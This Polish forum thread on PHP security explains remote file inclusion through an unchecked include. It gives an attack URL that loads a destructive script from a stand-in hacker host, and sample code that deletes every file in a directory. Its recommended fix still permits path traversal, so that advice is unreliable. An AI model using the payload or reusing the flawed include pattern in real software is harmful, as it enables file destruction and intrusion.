Witaj użytkowniku niezalgowany!
Zarejestruj się na forum uż dziś - nie będziesz widzieć żadnych reklam!

Bezpieczeństwo skryptów w PHP.

#1

Bezpieczeństwo skryptów w PHP.

Siemka, ostatnio dużo czytałem o php, i znalazłem ciekawe rozwiązania.

 

 

1.Główne zagrożenie dla skryptów php jest złe używanie include.

 

Przykład:

Kod:
<?php    include($_GET['plik']);    ?>

co daje nam efekt:

 

<a class="bbc_url" href="http://www.twojawww.pl/index.php?plik=katalog.php">http://www.twojawww.pl/index.php?plik=katalog.php

 

W ten sposób skrypt dokonałby dołączenia pliku katalog.php do skryptu, lecz co by się stało gdyby to zostało użyte przeciwko nam?

Zapytacie w jaki sposób?

Co by było gdyby ktoś wykorzystał include w taki sposób:

 

<a class="bbc_url" href="http://www.twojawww.pl/index.php?plik=http://www.adres-strony-hakera.pl/skrypt-niszczacy.php">http://www.twojawww.pl/index.php?plik=http://www.adres-strony-hakera.pl/skrypt-niszczacy.php

 

Przykładowa zawartość skryptu hackera:

Kod:
<?php         $katalog = opendir('./'); /* skrypt otwiera katalog w którym się znajduje (zostaje wywołany */         while ($plik = readdir($katalog)) {         unlink($file);         }         ?>

Co może nam zrobić taki skrypt?

Jeżeli pliki w katalogu mają uprawnienia pozwalające na usunięcie (CHMOD) ich przez skrypt to możemy się pożegnać z plikami w katalogu.

 

Co zrobić, aby temu zapobiec?

Wykorzystywać include w taki sposób:

Kod:
<?php    include('./'.$_GET['katalog']);    ?>

Takie include pozwala na dołączanie jedynie plików, które znajdują się w katalogu ze skryptem czyli nie można załączyć pliku z innego serwera.

 

Lecz można wykorzystać również prosty skrypt:

Kod:
<?php    if(isset($_GET['mod'])) {    $mod=$_GET['mod'];    } else {    $mod=\"news";    }         if(isset($_GET['act'])) {    $act=$_GET['act'];    } else {    $act=\"list";    }         $file=$mod.'/'.$act.'.php';         if(!file_exists($file)) {    die();    } else {    include \"$file";    }    ?>

 

Temat będzie edytowany wraz z poszerzeniem mojej wiedzy nt. zabezpieczeń.

 

[Obrazek: attachment.php?aid=747]
Odpowiedz
#2

Bezpieczeństwo skryptów w PHP.

Jednakowoż bardziej bałbym się ataków przez SQL Injection, jeśli dana WWW ma jakąkolwiek bazę MySQL. Wink

Unknow i reszta (uw-team.org) przygotowali wiele ciekawych videoartów dot. błędów w PHP (sql injection, xss) czy też inne materiały dot. JS, HTML5 i Reverse Engineeringu. Wink

[Obrazek: oKuLFaO.png]
Team DGT | ACTiVE JUNGLE | 1g player
Odpowiedz


Podobne wątki
26.11.2012 14:33
Ostatni post: FrxX
  Ogólnie o PHP Started by Czekoladowy Krol
2 Replies - 291 Views
09.08.2012 18:55
Ostatni post: Budyń
  Poradnik Podstawy PHP Started by Doseep
8 Replies - 490 Views
04.06.2012 16:05
Ostatni post: Mozzie



Użytkownicy przeglądający ten wątek:
1 gości

Theme © iAndrew 2017 Forum software by © MyBB .